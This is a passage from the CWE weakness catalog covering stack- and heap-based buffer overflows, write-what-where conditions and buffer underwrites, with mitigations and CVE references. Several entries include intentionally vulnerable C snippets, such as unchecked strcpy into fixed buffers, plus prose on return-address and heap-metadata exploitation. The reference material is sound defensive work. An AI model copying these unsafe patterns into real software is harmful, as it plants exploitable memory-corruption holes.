MemberOf	<input checked="" type="checkbox"/>	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	<input type="checkbox"/>	2169
MemberOf	<input type="checkbox"/>	884	CWE Cross-section	<input type="checkbox"/>	2327
MemberOf	<input checked="" type="checkbox"/>	970	SFP Secondary Cluster: Faulty Buffer Access	<input type="checkbox"/>	2198
MemberOf	<input checked="" type="checkbox"/>	1129	CISQ Quality Measures (2016) - Reliability	<input type="checkbox"/>	2233
MemberOf	<input checked="" type="checkbox"/>	1131	CISQ Quality Measures (2016) - Security	<input type="checkbox"/>	2235
MemberOf	<input checked="" type="checkbox"/>	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	<input type="checkbox"/>	2251

### Notes

#### Relationship

At the code level, stack-based and heap-based overflows do not differ significantly, so there usually is not a need to distinguish them. From the attacker perspective, they can be quite different, since different techniques are required to exploit them.

## Terminology

Many issues that are now called "buffer overflows" are substantively different than the "classic" overflow, including entirely different bug types that rely on overflow exploit techniques, such as integer signedness errors, integer overflows, and format string bugs. This imprecise terminology can make it difficult to determine which variant is being reported.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Unbounded Transfer ('classic overflow')
7 Pernicious Kingdoms			Buffer Overflow
CLASP			Buffer overflow
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A5	CWE More Specific	Buffer Overflows
CERT C Secure Coding	STR31-C	Exact	Guarantee that storage for strings has sufficient space for character data and the null terminator
WASC	7		Buffer Overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
OMG ASCSM	ASCSM- CWE-120		
OMG ASCRM	ASCRM- CWE-120		

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
8	Buffer Overflow in an API Call
9	Buffer Overflow in Local Command-Line Utilities
10	Buffer Overflow via Environment Variables
14	Client-side Injection-induced Buffer Overflow
24	Filter Failure through Buffer Overflow
42	MIME Conversion
44	Overflow Binary Resource File
45	Buffer Overflow via Symbolic Links
46	Overflow Variables and Tags
47	Buffer Overflow via Parameter Expansion
67	String Format Overflow in syslog()
92	Forced Integer Overflow
100	Overflow Buffers

## References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-56]Microsoft. "Using the Strsafe.h Functions". < <http://msdn.microsoft.com/en-us/library/ms647466.aspx> >.

[REF-57]Matt Messier and John Viega. "Safe C String Library v1.0.3". < <http://www.zork.org/safestr/> >.

[REF-58]Michael Howard. "Address Space Layout Randomization in Windows Vista". < [http://blogs.msdn.com/michael\\_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx](http://blogs.msdn.com/michael_howard/archive/2006/05/26/address-space-layout-randomization-in-windows-vista.aspx) >.

[REF-59]Arjan van de Ven. "Limiting buffer overflows with ExecShield". < <http://www.redhat.com/magazine/009jul05/features/execshield/> >.

[REF-60]"PaX". < <http://en.wikipedia.org/wiki/PaX> >.

[REF-74]Jason Lam. "Top 25 Series - Rank 3 - Classic Buffer Overflow". 2010 March 2. SANS Software Security Institute. < <http://software-security.sans.org/blog/2010/03/02/top-25-series-rank-3-classic-buffer-overflow/> >.

[REF-61]Microsoft. "Understanding DEP as a mitigation technology part 1". < <http://blogs.technet.com/b/srd/archive/2009/06/12/understanding-dep-as-a-mitigation-technology-part-1.aspx> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-64]Grant Murphy. "Position Independent Executables (PIE)". 2012 November 8. Red Hat. < <https://securityblog.redhat.com/2012/11/28/position-independent-executables-pie/> >.

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < <http://www.omg.org/spec/ASCRM/1.0/> >.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-121: Stack-based Buffer Overflow

**Weakness ID** : 121

**Structure** : Simple

**Abstraction** : Variant



### Description

A stack-based buffer overflow condition is a condition where the buffer being overwritten is allocated on the stack (i.e., is a local variable or, rarely, a parameter to a function).

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		787	Out-of-bounds Write	1547
ChildOf		788	Access of Memory Location After End of Buffer	1555

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)



**Language** : C++ (Prevalence = Undetermined)

### Background Details

There are generally several security-critical data on an execution stack that can lead to arbitrary code execution. The most prominent is the stored return address, the memory address at which execution should continue once the current function is finished executing. The attacker can overwrite this value with some memory address to which the attacker also has write access, into which they place arbitrary code to be run with the full privileges of the vulnerable program. Alternately, the attacker can supply the address of an important call, for instance the POSIX system() call, leaving arguments to the call on the stack. This is often called a return into libc exploit, since the attacker generally forces the program to jump at return time into an interesting routine in the C standard library (libc). Other important data commonly on the stack include the stack pointer and frame pointer, two values that indicate offsets for computing memory addresses. Modifying those values can often be leveraged into a "write-what-where" condition.

### Alternate Terms

**Stack Overflow** : "Stack Overflow" is often used to mean the same thing as stack-based buffer overflow, however it is also used on occasion to mean stack exhaustion, usually a result from an excessively recursive function call. Due to the ambiguity of the term, use of stack overflow to describe either circumstance is discouraged.

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	Modify Memory DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)	
	<i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability Access Control	Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism	
	<i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy.</i>	
Integrity Confidentiality Availability Access Control Other	Modify Memory Execute Unauthorized Code or Commands Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

#### Phase: Build and Compilation

*Strategy = Compilation or Build Hardening*

Run or compile the software using features or extensions that automatically provide a protection mechanism that mitigates or eliminates buffer overflows. For example, certain compilers and extensions provide automatic buffer overflow detection mechanisms that are built into the compiled code. Examples include the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY\_SOURCE GCC flag, StackGuard, and ProPolice.

*Effectiveness = Defense in Depth*

*This is not necessarily a complete solution, since these mechanisms can only detect certain types of overflows. In addition, an attack could still cause a denial of service, since the typical response is to exit the application.*

#### **Phase: Architecture and Design**

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### **Phase: Build and Compilation**

Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.

#### **Phase: Implementation**

Implement and perform bounds checking on input.

#### **Phase: Implementation**

Do not use dangerous functions such as gets. Use safer, equivalent functions which check for boundary errors.

#### **Phase: Operation**

Use OS-level preventative functionality, such as ASLR. This is not a complete solution.

### **Demonstrative Examples**

#### **Example 1:**

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, stack-based buffer overflows:

*Example Language: C*

*(Bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char buf[BUFSIZE];
    strcpy(buf, argv[1]);
}
```

The buffer size is fixed, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

#### **Example 2:**

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

*Example Language: C*

*(Bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which

resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

### Observed Examples

Reference	Description
<b>CVE-2021-35395</b>	Stack-based buffer overflows in SFP for wifi chipset used for IoT/embedded devices, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-35395">https://www.cve.org/CVERecord?id=CVE-2021-35395</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf	<b>C</b>	1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250
MemberOf	<b>C</b>	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251

### Notes

#### Other

Stack-based buffer overflows can instantiate in return address overwrites, stack pointer overwrites or frame pointer overwrites. They can also be considered function pointer overwrites, array indexer overwrites or write-what-where condition, etc.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Stack overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	CWE More Specific	Guarantee that storage for strings has sufficient space for character data and the null terminator

### References

[REF-1029]Aleph One. "Smashing The Stack For Fun And Profit". 1996 November 8. < <http://phrack.org/issues/49/14.html> >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-122: Heap-based Buffer Overflow

**Weakness ID** : 122  
**Structure** : Simple  
**Abstraction** : Variant

### Description

A heap overflow condition is a buffer overflow, where the buffer that can be overwritten is allocated in the heap portion of memory, generally meaning that the buffer was allocated using a routine such as malloc().

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	ⓑ	787	Out-of-bounds Write	1547
ChildOf	ⓑ	788	Access of Memory Location After End of Buffer	1555

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory)  <i>Buffer overflows generally lead to crashes. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.</i>	
Integrity Confidentiality Availability Access Control	Execute Unauthorized Code or Commands Bypass Protection Mechanism Modify Memory  <i>Buffer overflows often can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. Besides important user data, heap-based overflows can be used to overwrite function pointers that may be living in memory, pointing it to the attacker's code. Even in applications that do not explicitly use function pointers, the run-time will usually leave many in memory. For example, object methods in C++ are</i>	

Scope	Impact	Likelihood
	<i>generally implemented using function pointers. Even in C programs, there is often a global offset table used by the underlying runtime.</i>	
Integrity	Execute Unauthorized Code or Commands	
Confidentiality	Bypass Protection Mechanism	
Availability	Other	
Access Control	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	
Other		

### Potential Mitigations

Pre-design: Use a language or compiler that performs automatic bounds checking.

#### Phase: Architecture and Design

Use an abstraction library to abstract away risky APIs. Not a complete solution.

#### Phase: Build and Compilation

Pre-design through Build: Canary style bounds checking, library changes which ensure the validity of chunk data, and other such fixes are possible, but should not be relied upon.

#### Phase: Implementation

Implement and perform bounds checking on input.

#### Phase: Implementation

*Strategy = Libraries or Frameworks*

Do not use dangerous functions such as gets. Look for their safe equivalent, which checks for the boundary.

#### Phase: Operation

Use OS-level preventative functionality. This is not a complete solution, but it provides some defense in depth.

### Demonstrative Examples

#### Example 1:

While buffer overflow examples can be rather complex, it is possible to have very simple, yet still exploitable, heap-based buffer overflows:

*Example Language: C*

*(Bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf;
    buf = (char *)malloc(sizeof(char)*BUFSIZE);
    strcpy(buf, argv[1]);
}
```

The buffer is allocated heap memory with a fixed size, but there is no guarantee the string in argv[1] will not exceed this size and cause an overflow.

#### Example 2:

This example applies an encoding procedure to an input string and stores it into a buffer.

*Example Language: C*

*(Bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
```

```

    die("user string too long, die evil hacker!");
}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if( '&' == user_supplied_string[i] ){
        dst_buf[dst_index++] = '&';
        dst_buf[dst_index++] = 'a';
        dst_buf[dst_index++] = 'm';
        dst_buf[dst_index++] = 'p';
        dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
        /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
}
return dst_buf;
}

```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

### Observed Examples

Reference	Description
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4268">https://www.cve.org/CVERecord?id=CVE-2007-4268</a>
<b>CVE-2009-2523</b>	Chain: product does not handle when an input string is not NULL terminated (CWE-170), leading to buffer over-read (CWE-125) or heap-based buffer overflow (CWE-122). <a href="https://www.cve.org/CVERecord?id=CVE-2009-2523">https://www.cve.org/CVERecord?id=CVE-2009-2523</a>
<b>CVE-2021-29529</b>	Chain: machine-learning product can have a heap-based buffer overflow (CWE-122) when some integer-oriented bounds are calculated by using ceiling() and floor() on floating point values (CWE-1339) <a href="https://www.cve.org/CVERecord?id=CVE-2021-29529">https://www.cve.org/CVERecord?id=CVE-2021-29529</a>

### Affected Resources

- Memory

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf	<b>C</b>	1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251

### Notes

#### Relationship

Heap-based buffer overflows are usually just as dangerous as stack-based buffer overflows.

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Heap overflow
Software Fault Patterns	SFP8		Faulty Buffer Access
CERT C Secure Coding	STR31-C	CWE More Specific	Guarantee that storage for strings has sufficient space for character data and the null terminator

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
92	Forced Integer Overflow

### References

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-123: Write-what-where Condition

**Weakness ID** : 123

**Structure** : Simple

**Abstraction** : Base









### Description

Any condition where the attacker has the ability to write an arbitrary value to an arbitrary location, often as the result of a buffer overflow.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		787	Out-of-bounds Write	1547
PeerOf		415	Double Free	954
CanFollow		120	Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')	294
CanFollow		134	Use of Externally-Controlled Format String	349
CanFollow		364	Signal Handler Race Condition	851
CanFollow		416	Use After Free	958
CanFollow		479	Signal Handler Use of a Non-reentrant Function	1084
CanFollow		590	Free of Memory not on the Heap	1248

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1218	Memory Buffer Errors	2272

### Weakness Ordinalities

**Resultant :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** C++ (Prevalence = Undetermined)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Integrity Confidentiality Availability Access Control	Modify Memory Execute Unauthorized Code or Commands Gain Privileges or Assume Identity DoS: Crash, Exit, or Restart Bypass Protection Mechanism	
	<i>Clearly, write-what-where conditions can be used to write data to areas of memory outside the scope of a policy. Also, they almost invariably can be used to execute arbitrary code, which is usually outside the scope of a program's implicit security policy. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.</i>	
Integrity Availability	DoS: Crash, Exit, or Restart Modify Memory	
	<i>Many memory accesses can lead to program termination, such as when writing to addresses that are invalid for the current process.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Language Selection*

Use a language that provides appropriate memory abstractions.

### Phase: Operation

Use OS-level preventative functionality integrated after the fact. Not a complete solution.

## Demonstrative Examples

### Example 1:

The classic example of a write-what-where condition occurs when the accounting information for memory allocations is overwritten in a particular fashion. Here is an example of potentially vulnerable code:

*Example Language: C*

*(Bad)*

```
#define BUFSIZE 256
int main(int argc, char **argv) {
    char *buf1 = (char *) malloc(BUFSIZE);
    char *buf2 = (char *) malloc(BUFSIZE);
    strcpy(buf1, argv[1]);
    free(buf2);
}
```

Vulnerability in this case is dependent on memory layout. The call to `strcpy()` can be used to write past the end of `buf1`, and, with a typical layout, can overwrite the accounting information that the system keeps for `buf2` when it is allocated. Note that if the allocation header for `buf2` can be overwritten, `buf2` itself can be overwritten as well.

The allocation header will generally keep a linked list of memory "chunks". Particularly, there may be a "previous" chunk and a "next" chunk. Here, the previous chunk for `buf2` will probably be `buf1`, and the next chunk may be null. When the `free()` occurs, most memory allocators will rewrite the linked list using data from `buf2`. Particularly, the "next" chunk for `buf1` will be updated and the "previous" chunk for any subsequent chunk will be updated. The attacker can insert a memory address for the "next" chunk and a value to write into that memory address for the "previous" chunk.

This could be used to overwrite a function pointer that gets dereferenced later, replacing it with a memory address that the attacker has legitimate access to, where they have placed malicious code, resulting in arbitrary code execution.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	2198
MemberOf		1160	SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR)	1154	2250
MemberOf		1161	SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR)	1154	2251

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Write-what-where condition

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	ARR30-C	Imprecise	Do not form or use out-of-bounds pointers or array subscripts
CERT C Secure Coding	ARR38-C	Imprecise	Guarantee that library functions do not form invalid pointers
CERT C Secure Coding	STR31-C	Imprecise	Guarantee that storage for strings has sufficient space for character data and the null terminator
CERT C Secure Coding	STR32-C	Imprecise	Do not pass a non-null-terminated character sequence to a library function that expects a string
Software Fault Patterns	SFP8		Faulty Buffer Access

## References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-124: Buffer Underwrite ('Buffer Underflow')

**Weakness ID** : 124

**Structure** : Simple

**Abstraction** : Base

### Description

The product writes to a buffer using an index or pointer that references a memory location prior to the beginning of the buffer.

### Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer, when pointer arithmetic results in a position before the beginning of the valid memory location, or when a negative index is used.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	787	Out-of-bounds Write	1547
ChildOf	B	786	Access of Memory Location Before Start of Buffer	1544
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1644

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	1218	Memory Buffer Errors	2272

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

### Alternate Terms

**buffer underrun** : Some prominent vendors and researchers use the term "buffer underrun". "Buffer underflow" is more commonly used, although both terms are also sometimes used to describe a buffer under-read (CWE-127).

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	
	<i>Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash.</i>	
Integrity Confidentiality Availability Access Control Other	Execute Unauthorized Code or Commands Modify Memory Bypass Protection Mechanism Other	
	<i>If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code. If the corrupted memory is data rather than instructions, the system will continue to function with improper changes, possibly in violation of an implicit or explicit policy. The consequences would only be limited by how the affected data is used, such as an adjacent memory location that is used to specify whether the user has special privileges.</i>	
Access Control Other	Bypass Protection Mechanism Other	
	<i>When the consequence is arbitrary code execution, this can often be used to subvert any other security service.</i>	

### Potential Mitigations

#### Phase: Requirements

Choose a language that is not susceptible to these issues.

#### Phase: Implementation

All calculated values that are used as index or for pointer arithmetic should be validated to ensure that they are within an expected range.

### Demonstrative Examples

#### Example 1:

In the following C/C++ example, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

*Example Language: C*

*(Bad)*

```
char* trimTrailingWhitespace(char *strMessage, int length) {
    char *retMessage;
    char *message = malloc(sizeof(char)*(length+1));
```

```

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {
    message[index] = strMessage[index];
}
message[index] = '\0';
// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {
    message[len] = '\0';
    len--;
}
// return string without trailing whitespace
retMessage = message;
return retMessage;
}

```

However, this function can cause a buffer underwrite if the input character string contains all whitespace. On some systems the while statement will move backwards past the beginning of a character string and will call the `isspace()` function on an address outside of the bounds of the local buffer.

### Example 2:

The following is an example of code that may result in a buffer underwrite, if `find()` returns a negative value to indicate that `ch` is not found in `srcBuf`:

Example Language: C

(Bad)

```

int main() {
    ...
    strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
    ...
}

```

If the index to `srcBuf` is somehow under user control, this is an arbitrary write-what-where condition.

### Observed Examples

Reference	Description
<b>CVE-2021-24018</b>	buffer underwrite in firmware verification routine allows code execution via a crafted firmware image <a href="https://www.cve.org/CVERecord?id=CVE-2021-24018">https://www.cve.org/CVERecord?id=CVE-2021-24018</a>
<b>CVE-2002-2227</b>	Unchecked length of SSLv2 challenge value leads to buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2002-2227">https://www.cve.org/CVERecord?id=CVE-2002-2227</a>
<b>CVE-2007-4580</b>	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4580">https://www.cve.org/CVERecord?id=CVE-2007-4580</a>
<b>CVE-2007-1584</b>	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character. <a href="https://www.cve.org/CVERecord?id=CVE-2007-1584">https://www.cve.org/CVERecord?id=CVE-2007-1584</a>
<b>CVE-2007-0886</b>	Buffer underflow resultant from encoded data that triggers an integer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2007-0886">https://www.cve.org/CVERecord?id=CVE-2007-0886</a>
<b>CVE-2006-6171</b>	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2006-6171">https://www.cve.org/CVERecord?id=CVE-2006-6171</a>
<b>CVE-2006-4024</b>	Negative value is used in a <code>memcpy()</code> operation, leading to buffer underflow. <a href="https://www.cve.org/CVERecord?id=CVE-2006-4024">https://www.cve.org/CVERecord?id=CVE-2006-4024</a>
<b>CVE-2004-2620</b>	Buffer underflow due to mishandled special characters <a href="https://www.cve.org/CVERecord?id=CVE-2004-2620">https://www.cve.org/CVERecord?id=CVE-2004-2620</a>



## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		970	SFP Secondary Cluster: Faulty Buffer Access	888	2198

## Notes

### Relationship

This could be resultant from several errors, including a bad offset or an array index that decrements before the beginning of the buffer (see CWE-129).

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			UNDER - Boundary beginning violation ('buffer underflow?')
CLASP			Buffer underwrite
Software Fault Patterns	SFP8		Faulty Buffer Access

## References

[REF-90]"Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004 January 0. < <http://seclists.org/vuln-dev/2004/Jan/0022.html> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-125: Out-of-bounds Read

**Weakness ID** : 125  
**Structure** : Simple  
**Abstraction** : Base

## Description

The product reads data past the end, or before the beginning, of the intended buffer.

## Extended Description

Typically, this can allow attackers to read sensitive information from other memory locations or cause a crash. A crash can occur when the code reads a variable amount of data and assumes that a sentinel exists to stop the read operation, such as a NUL in a string. The expected sentinel might not be located in the out-of-bounds memory, causing excessive data to be read, leading to a segmentation fault or a buffer overflow. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent read operation then produces undefined or unexpected results.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		119	Improper Restriction of Operations within the Bounds of a Memory Buffer	283

Nature	Type	ID	Name	Page
ParentOf	V	126	Buffer Over-read	320
ParentOf	V	127	Buffer Under-read	323
